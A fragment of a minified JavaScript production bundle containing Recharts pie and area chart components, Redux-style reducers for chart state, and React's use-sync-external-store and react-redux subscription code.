lS(e){var{tooltipEntrySettings:t}=e,n=it(),r=Kn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(uD(t)):i.current!==t&&n(dD({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(fD(i.current)),i.current=null)},[n]),null}function dB(e){var{legendPayload:t}=e,n=it(),r=Kn(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(hN(t)):i.current!==t&&n(xN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(vN(i.current)),i.current=null)},[n]),null}function fB(e){var{legendPayload:t}=e,n=it(),r=ye(Me),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(hN(t)):i.current!==t&&n(xN({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(vN(i.current)),i.current=null)},[n]),null}var mp,pB=()=>{var[e]=p.useState(()=>Po("uid-"));return e},mB=(mp=q2.useId)!==null&&mp!==void 0?mp:pB;function hB(e,t){var n=mB();return t||(e?"".concat(e,"-").concat(n):n)}var xB=p.createContext(void 0),cS=e=>{var{id:t,type:n,children:r}=e,i=hB("recharts-".concat(n),t);return p.createElement(xB.Provider,{value:i},r(i))},vB={cartesianItems:[],polarItems:[]},uS=Xt({name:"graphicalItems",initialState:vB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:Ue()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=Fn(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:Ue()},removeCartesianGraphicalItem:{reducer(e,t){var n=Fn(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:Ue()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:Ue()},removePolarGraphicalItem:{reducer(e,t){var n=Fn(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:Ue()}}}),{addCartesianGraphicalItem:gB,replaceCartesianGraphicalItem:yB,removeCartesianGraphicalItem:bB,addPolarGraphicalItem:wB,removePolarGraphicalItem:jB}=uS.actions,kB=uS.reducer,NB=e=>{var t=it(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(gB(e)):n.current!==e&&t(yB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(bB(n.current)),n.current=null)},[t]),null},SB=p.memo(NB);function zB(e){var t=it();return p.useLayoutEffect(()=>(t(wB(e)),()=>{t(jB(e))}),[t,e]),null}var CB=["key"],PB=["onMouseEnter","onClick","onMouseLeave"],EB=["id"],AB=["id"];function a2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function et(e){for(var t=1;taS(e.children,nf),[e.children]),n=ye(r=>B$(r,e.id,t));return n==null?null:p.createElement(fB,{legendPayload:n})}var IB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:Pd(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(lS,{tooltipEntrySettings:f})}),DB=(e,t)=>e>t?"start":esn(typeof t=="function"?t(e):t,n,n*.8),$B=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=NN(a,o),c=i+sn(e.cx,a,a/2),u=r+sn(e.cy,o,o/2),d=sn(e.innerRadius,l,0),f=RB(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},BB=(e,t)=>{var n=Ut(t-e),r=Math.min(Math.abs(t-e),360);return n*r},FB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Xe("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=xf(t,CB);return p.createElement(Ba,gi({},i,{type:"linear",className:n}))},WB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=Xe("recharts-pie-label-text",M$(e));return p.createElement(nv,gi({},t,{alignmentBaseline:"middle",className:i}),r)};function UB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=Cr(n),c=zo(i),u=zo(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=st(m.cx,m.cy,m.outerRadius+d,x),y=et(et(et(et({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:DB(g.x,m.cx)},g),v=et(et(et(et({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[st(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(Si,{zIndex:Ht.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(Gt,null,a&&FB(a,v),WB(i,y,Fe(m,o))))});return p.createElement(Gt,{className:"recharts-pie-labels"},f)}function VB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(Z3,{label:i}):p.createElement(UB,{sectors:t,props:n,showLabels:r})}function HB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=ye(ns),c=ye(N3),u=ye(eR),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=xf(i,PB),x=lB(d,i.dataKey,o),g=cB(m),y=uB(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=et(et({},v),{},{stroke:v.stroke,tabIndex:-1,[Jk]:b,[eN]:o});return p.createElement(Gt,gi({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},l6(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(oB,gi({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function KB(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=BB(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Fe(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Fe(N,u,0);return S+(he(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Fe(S,u,0),_=Fe(S,d,N),A=$B(n,a,S),O=(he(z)?z:0)/w,P,I=et(et({},S),i&&i[N]&&i[N].props);N?P=k.endAngle+Ut(h)*g*(z!==0?1:0):P=l;var U=P+Ut(h)*((z!==0?m:0)+O*b),D=(P+U)/2,M=(A.innerRadius+A.outerRadius)/2,F=[{name:_,value:z,payload:I,dataKey:u,type:f,graphicalItemId:n.id}],R=st(A.cx,A.cy,M,D);return k=et(et(et(et({},n.presentationProps),{},{percent:O,cornerRadius:typeof o=="string"?parseFloat(o):o,name:_,tooltipPayload:F,midAngle:D,middleRadius:M,tooltipPosition:R},I),A),{},{value:z,dataKey:u,startAngle:P,endAngle:U,payload:I,paddingAngle:Ut(h)*g}),k})}return j}function qB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(j$,{value:t?i:void 0},r)}function YB(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=$d(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(qB,{showLabels:!g,sectors:i},p.createElement(Rd,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,_)=>{var A=x&&x[_],O=_>0?Co(z,"paddingAngle",0):0;if(A){var P=St(A.endAngle-A.startAngle,z.endAngle-z.startAngle,w),I=et(et({},z),{},{startAngle:N+O,endAngle:N+P+O});k.push(I),N=I.endAngle}else{var{endAngle:U,startAngle:D}=z,M=St(0,U-D,w),F=et(et({},z),{},{startAngle:N+O,endAngle:N+M+O});k.push(F),N=F.endAngle}}),n.current=k,p.createElement(Gt,null,p.createElement(HB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(VB,{showLabels:!g,sectors:i,props:t}),t.children)}var GB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Ht.area};function XB(e){var{id:t}=e,n=xf(e,EB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>aS(e.children,nf),[e.children]),l=ye(d=>F$(d,t,o)),c=p.useRef(null),u=Xe("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(Gt,{tabIndex:a,className:u})):p.createElement(Si,{zIndex:e.zIndex},p.createElement(IB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(Gt,{tabIndex:a,className:u},p.createElement(YB,{props:et(et({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function dS(e){var t=fn(e,GB),{id:n}=t,r=xf(t,AB),i=Cr(r);return p.createElement(cS,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(zB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(LB,gi({},r,{id:a})),p.createElement(XB,gi({},r,{id:a}))))}dS.displayName="Pie";var ZB=["points"];function s2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function hp(e){for(var t=1;t{var y,v,b=hp(hp(hp({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(rF,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(Si,{zIndex:u},p.createElement(Gt,Mu({className:r},h),m))}function o2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function l2(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),fF=T([dF,Rr,$r],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),ov=()=>ye(fF),pF=()=>ye(aR);function c2(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xp(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=xp(xp(xp({},l),zo(i)),Sx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(Q3,c),p.createElement(Gt,{className:"recharts-active-dot",clipPath:o},u)};function u2(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Ht.activeDot}=e,l=ye(ns),c=pF();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return Pt(u)?null:p.createElement(Si,{zIndex:o},p.createElement(vF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var mS=e=>{var{chartData:t}=e,n=it(),r=Kn();return p.useEffect(()=>r?()=>{}:(n(kb(t)),()=>{n(kb(void 0))}),[t,n,r]),null},d2={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},hS=Xt({name:"brush",initialState:d2,reducers:{setBrushSettings(e,t){return t.payload==null?d2:t.payload}}}),{setBrushSettings:ZV}=hS.actions,gF=hS.reducer,yF={dots:[],areas:[],lines:[]},xS=Xt({name:"referenceElements",initialState:yF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=Fn(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=Fn(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=Fn(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:QV,removeDot:JV,addArea:eH,removeArea:tH,addLine:nH,removeLine:rH}=xS.actions,bF=xS.reducer,wF=p.createContext(void 0),jF=e=>{var{children:t}=e,[n]=p.useState("".concat(Po("recharts"),"-clip")),r=ov();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(wF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},kF={},vS=Xt({name:"errorBars",initialState:kF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:iH,replaceErrorBar:aH,removeErrorBar:sH}=vS.actions,NF=vS.reducer;function gS(e,t){var n,r,i=ye(u=>Wr(u,e)),a=ye(u=>Ur(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:T4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:M4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function SF(e){var{xAxisId:t,yAxisId:n,clipPathId:r}=e,i=ov(),{needClipX:a,needClipY:o,needClip:l}=gS(t,n);if(!l||!i)return null;var{x:c,y:u,width:d,height:f}=i;return p.createElement("clipPath",{id:"clipPath-".concat(r)},p.createElement("rect",{x:a?c:c-d/2,y:o?u:u-f/2,width:a?d:d*2,height:o?f:f*2}))}function zF(e){var t=zo(e),n=3,r=2;if(t!=null){var{r:i,strokeWidth:a}=t,o=Number(i),l=Number(a);return(Number.isNaN(o)||o<0)&&(o=n),(Number.isNaN(l)||l<0)&&(l=r),{r:o,strokeWidth:l}}return{r:n,strokeWidth:r}}var CF={};/** + * @license React + * use-sync-external-store-with-selector.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var fl=p;function PF(e,t){return e===t&&(e!==0||1/e===1/t)||e!==e&&t!==t}var EF=typeof Object.is=="function"?Object.is:PF,AF=fl.useSyncExternalStore,_F=fl.useRef,OF=fl.useEffect,TF=fl.useMemo,MF=fl.useDebugValue;CF.useSyncExternalStoreWithSelector=function(e,t,n,r,i){var a=_F(null);if(a.current===null){var o={hasValue:!1,value:null};a.current=o}else o=a.current;a=TF(function(){function c(h){if(!u){if(u=!0,d=h,h=r(h),i!==void 0&&o.hasValue){var x=o.value;if(i(x,h))return f=x}return f=h}if(x=f,EF(d,h))return x;var g=r(h);return i!==void 0&&i(x,g)?(d=h,x):(d=h,f=g)}var u=!1,d,f,m=n===void 0?null:n;return[function(){return c(t())},m===null?void 0:function(){return c(m())}]},[t,n,r,i]);var l=AF(e,a[0],a[1]);return OF(function(){o.hasValue=!0,o.value=l},[l]),MF(l),l};function LF(e){e()}function IF(){let e=null,t=null;return{clear(){e=null,t=null},notify(){LF(()=>{let n=e;for(;n;)n.callback(),n=n.next})},get(){const n=[];let r=e;for(;r;)n.push(r),r=r.next;return n},subscribe(n){let r=!0;const i=t={callback:n,next:null,prev:t};return i.prev?i.prev.next=i:e=i,function(){!r||e===null||(r=!1,i.next?i.next.prev=i.prev:t=i.prev,i.prev?i.prev.next=i.next:e=i.next)}}}}var f2={notify(){},get:()=>[]};function DF(e,t){let n,r=f2,i=0,a=!1;function o(g){d();const y=r.subscribe(g);let v=!1;return()=>{v||(v=!0,y(),f())}}function l(){r.notify()}function c(){x.onStateChange&&x.onStateChange()}function u(){return a}function d(){i++,n||(n=e.subscribe(c),r=IF())}function f(){i--,n&&i===0&&(n(),n=void 0,r.clear(),r=f2)}function m(){a||(a=!0,d())}function h(){a&&(a=!1,f())}const x={addNestedSub:o,notifyNestedSubs:l,handleChangeWrapper:c,isSubscribed:u,trySubscribe:m,tryUnsubscribe:h,getListeners:()=>r};return x}var RF=()=>typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",$F=RF(),BF=()=>typeof navigator<"u"&&navigator.product==="ReactNative",FF=BF(),WF=()=>$F||FF?p.useLayoutEffect:p.useEffect,UF=WF();function p2(e,t){return e===t?e!==0||t!==0||1/e===1/t:e!==e&&t!==t}function VF(e,t){if(p2(e,t))return!0;if(typeof e!="object"||e===null||typeof t!="object"||t===null)return!1;const n=Object.keys(e),r=Object.keys(t);if(n.length!==r.length)return!1;for(let i=0;i{const c=DF(i);return{store:i,subscription:c,getServerState:r?()=>r:void 0}},[i,r]),o=p.useMemo(()=>i.getState(),[i]);UF(()=>{const{subscription:c}=a;return c.onStateChange=c.notifyNestedSubs,c.trySubscribe(),o!==i.getState()&&c.notifyNestedSubs(),()=>{c.tryUnsubscribe(),c.onStateChange=void 0}},[a,o]);const l=n||KF;return p.createElement(l.Provider,{value:a},t)}var YF=qF,GF=new Set(["axisLine","tickLine","activeBar","activeDot","activeLabel","activeShape","allowEscapeViewBox","background","cursor","dot","label","line","margin","padding","position","shape","style","tick","wrapperStyle","radius"]);function XF(e,t){return e==null&&t==null?!0:typeof e=="number"&&typeof t=="number"?e===t||e!==e&&t!==t:e===t}function yS(e,t){var n=new Set([...Object.keys(e),...Object.keys(t)]);for(var r of n)if(GF.has(r)){if(e[r]==null&&t[r]==null)continue;if(!VF(e[r],t[r]))return!1}else if(!XF(e[r],t[r]))return!1;return!0}function lv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.xAxisId)!==null&&n!==void 0?n:fS}function cv(e,t){var n,r;return(n=(r=e.graphicalItems.cartesianItems.find(i=>i.id===t))===null||r===void 0?void 0:r.yAxisId)!==null&&n!==void 0?n:fS}var bS=(e,t,n)=>r3(e,"xAxis",lv(e,t),n),wS=(e,t,n)=>n3(e,"xAxis",lv(e,t),n),jS=(e,t,n)=>r3(e,"yAxis",cv(e,t),n),kS=(e,t,n)=>n3(e,"yAxis",cv(e,t),n),ZF=T([Me,bS,jS,wS,kS],(e,t,n,r,i)=>fr(e,"xAxis")?su(t,r,!1):su(n,i,!1)),QF=(e,t)=>t,NS=T([I4,QF],(e,t)=>e.filter(n=>n.type==="area").find(n=>n.id===t)),SS=e=>{var t=Me(e),n=fr(t,"xAxis");return n?"yAxis":"xAxis"},JF=(e,t)=>{var n=SS(e);return n==="yAxis"?cv(e,t):lv(e,t)},eW=(e,t,n)=>F4(e,SS(e),JF(e,t),n),tW=T([NS,eW],(e,t)=>{var n;if(!(e==null||t==null)){var{stackId:r}=e,i=N0(e);if(!(r==null||i==null)){var a=(n=t[r])===null||n===void 0?void 0:n.stackedData,o=a==null?void 0:a.find(l=>l.key===i);if(o!=null)return o.map(l=>[l[0],l[1]])}}}),nW=T([Me,bS,jS,wS,kS,tW,H7,ZF,NS,eI],(e,t,n,r,i,a,o,l,c,u)=>{var{chartData:d,dataStartIndex:f,dataEndIndex:m}=o;if(!(c==null||e!=="horizontal"&&e!=="vertical"||t==null||n==null||r==null||i==null||r.length===0||i.length===0||l==null)){var{data:h}=c,x;if(h&&h.length>0?x=h:x=d==null?void 0:d.slice(f,m+1),x!=null)return wW({layout:e,xAxis:t,yAxis:n,xAxisTicks:r,yAxisTicks:i,dataStartIndex:f,areaSettings:c,stackedData:a,displayedData:x,chartBaseValue:u,bandSize:l})}}),rW=["id"],iW=["activeDot","animationBegin","animationDuration","animationEasing","connectNulls","dot","fill","fillOpacity","hide","isAnimationActive","legendType","stroke","xAxisId","yAxisId"];function Ki(){return Ki=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{dataKey:t,name:n,stroke:r,fill:i,legendType:a,hide:o}=e;return[{inactive:o,dataKey:t,type:a,color:Lu(r,i),value:Pd(n,t),payload:e}]},uW=p.memo(e=>{var{dataKey:t,data:n,stroke:r,strokeWidth:i,fill:a,name:o,hide:l,unit:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:n,getPosition:cs,settings:{stroke:r,strokeWidth:i,fill:a,dataKey:t,nameKey:void 0,name:Pd(o,t),hide:l,type:u,color:Lu(r,a),unit:c,graphicalItemId:d}};return p.createElement(lS,{tooltipEntrySettings:f})});function dW(e){var{clipPathId:t,points:n,props:r}=e,{needClip:i,dot:a,dataKey:o}=r,l=Cr(r);return p.createElement(aF,{points:n,dot:a,className:"recharts-area-dots",dotClassName:"recharts-area-dot",dataKey:o,baseProps:l,needClip:i,clipPathId:t})}function fW(e){var{showLabels:t,children:n,points:r}=e,i=r.map(a=>{var o,l,c={x:(o=a.x)!==null&&o!==void 0?o:0,y:(l=a.y)!==null&&l!==void 0?l:0,width:0,lowerWidth:0,upperWidth:0,height:0};return Oa(Oa({},c),{},{value:a.value,payload:a.payload,parentViewBox:void 0,viewBox:c,fill:void 0})});return p.createElement(w$,{value:t?i:void 0},n)}function h2(e){var{points:t,baseLine:n,needClip:r,clipPathId:i,props:a}=e,{layout:o,type:l,stroke:c,connectNulls:u,isRange:d}=a,{id:f}=a,m=zS(a,rW),h=Cr(m),x=Dt(m);return p.createElement(p.Fragment,null,(t==null?void 0:t.length)>1&&p.createElement(Gt,{clipPath:r?"url(#clipPath-".concat(i,")"):void 0},p.createElement(Ba,Ki({},x,{id:f,points:t,connectNulls:u,type:l,baseLine:n,layout:o,stroke:"none",className:"recharts-area-area"})),c!=="none"&&p.createElement(Ba,Ki({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:t})),c!=="none"&&d&&p.createElement(Ba,Ki({},h,{className:"recharts-area-curve",layout:o,type:l,connectNulls:u,fill:"none",points:n}))),p.createElement(dW,{points:t,props:m,clipPathId:i}))}function pW(e){var t,n,{alpha:r,baseLine:i,points:a,strokeWidth:o}=e,l=(t=a[0])===null||t===void 0?void 0:t.y,c=(n=a[a.length-1])===null||n===void 0?void 0:n.y;if(!ze(l)||!ze(c))return null;var u=r*Math.abs(l-c),d=Math.max(...a.map(f=>f.x||0));return he(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.x||0),d)),he(d)?p.createElement("rect",{x:0,y:lf.y||0));return he(i)?d=Math.max(i,d):i&&Array.isArray(i)&&i.length&&(d=Math.max(...i.map(f=>f.y||0),d)),he(d)?p.createElement("rect",{x:l({points:o,baseLine:l}),[o,l]),g=$d(x,"recharts-area-"),y=$T(),[v,b]=p.useState(!1),w=!v,j=p.useCallback(()=>{typeof h=="function"&&h(),b(!1)},[h]),k=p.useCallback(()=>{typeof m=="function"&&m(),b(!0)},[m]);if(y==null)return null;var S=i.current,N=a.current;return p.createElement(fW,{showLabels:w,points:o},r.children,p.createElement(Rd,{animationId:g,begin:u,duration:d,isActive:c,easing:f,onAnimationEnd:j,onAnimationStart:k,key:g},z=>{if(S){var _=S.length/o.length,A=z===1?o:o.map((P,I)=>{var U=Math.floor(I*_);if(S[U]){var D=S[U];return Oa(Oa({},P),{},{x:St(D.x,P.x,z),y:St(D.y,P.y,z)})}return P}),O;return he(l)?O=St(N,l,z):Pt(l)||lr(l)?O=St(N,0,z):O=l.map((P,I)=>{var U=Math.floor(I*_);if(Array.isArray(N)&&N[U]){var D=N[U];return Oa(Oa({},P),{},{x:St(D.x,P.x,z),y:St(D.y,P.y,z)})}return P}),z>0&&(i.current=A,a.current=O),p.createElement(h2,{points:A,baseLine:O,needClip:t,clipPathId:n,props:r})}return z>0&&(i.current=o,a.current=l),p.createElement(Gt,null,c&&p.createElement("defs",null,p.createElement("clipPath",{id:"animationClipPath-".concat(n)},p.createElement(hW,{alpha:z,points:o,baseLine:l,layout:y,strokeWidth:r.strokeWidth}))),p.createElement(Gt,{clipPath:"url(#animationClipPath-".concat(n,")")},p.createElement(h2,{points:o,baseLine:l,needClip:t,clipPathId:n,props:r})))}),p.createElement(Z3,{label:r.label}))}function vW(e){var{needClip:t,clipPathId:n,props:r}=e,i=p.useRef(null),a=p.useRef();return p.createElement(xW,{needClip:t,clipPathId:n,props:r,previousPointsRef:i,previousBaselineRef:a})}class gW extends p.PureComponent{render(){var{hide:t,dot:n,points:r,className:i,top:a,left:o,needClip:l,xAxisId:c,yAxisId:u,width:d,height:f,id:m,baseLine:h,zIndex:x}=this.props;if(t)return null;var g=Xe("recharts-area",i),y=m,{r:v,strokeWidth:b}=zF(n),w=sS(n),j=v*2+b,k=l?"url(#clipPath-".concat(w?"":"dots-").concat(y,")"):void 0;return p.createElement(Si,{zIndex:x},p.createElement(Gt,{className:g},l&&p.createElement("defs",null,p.createElement(SF,{clipPathId:y,xAxisId:c,yAxisId:u}),!w&&p.createElement("clipPath",{id:"clipPath-dots-".concat(y)},p.createElement("rect",{x:o-j/2,y:a-j/2,width:d+j,height:f+j}))),p.createElement(vW,{needClip:l,clipPathId:y,props:this.props})),p.createElement(u2,{points:r,mainColor:Lu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}),this.props.isRange&&Array.isArray(h)&&p.createElement(u2,{points:h,mainColor:Lu(this.props.stroke,this.props.fill),itemDataKey:this.props.dataKey,activeDot:this.props.activeDot,clipPath:k}))}}var CS={activeDot:!0,animationBegin:0,animationDuration:1500,animationEasing:"ease",connectNulls:!1,dot:!1,fill:"#3182bd",fillOpacity:.6,hide:!1,isAnimationActive:"auto",legendType:"line",stroke:"#3182bd",strokeWidth:1,type:"linear",label:!1,xAxisId:0,yAxisId:0,zIndex:Ht.area};function yW(e){var t,n=fn(e,CS),{activeDot:r,animationBegin:i,animationDuration:a,animationEasing:o,connectNulls:l,dot:c,fill:u,fillOpacity:d,hide:f,isAnimationActive:m,legendType:h,stroke:x,xAxisId:g,yAxisId:y}=n,v=zS(n,iW),b=us(),w=C3(),{needClip:j}=gS(g,y),k=Kn(),{points:S,isRange:N,baseLine:z}=(t=ye(U=>nW(U,e.id,k)))!==null&&t!==void 0?t:{},_=ov();if(b!=="horizontal"&&b!=="vertical"||_==null||w!=="AreaChart"&&w!=="ComposedChart")return 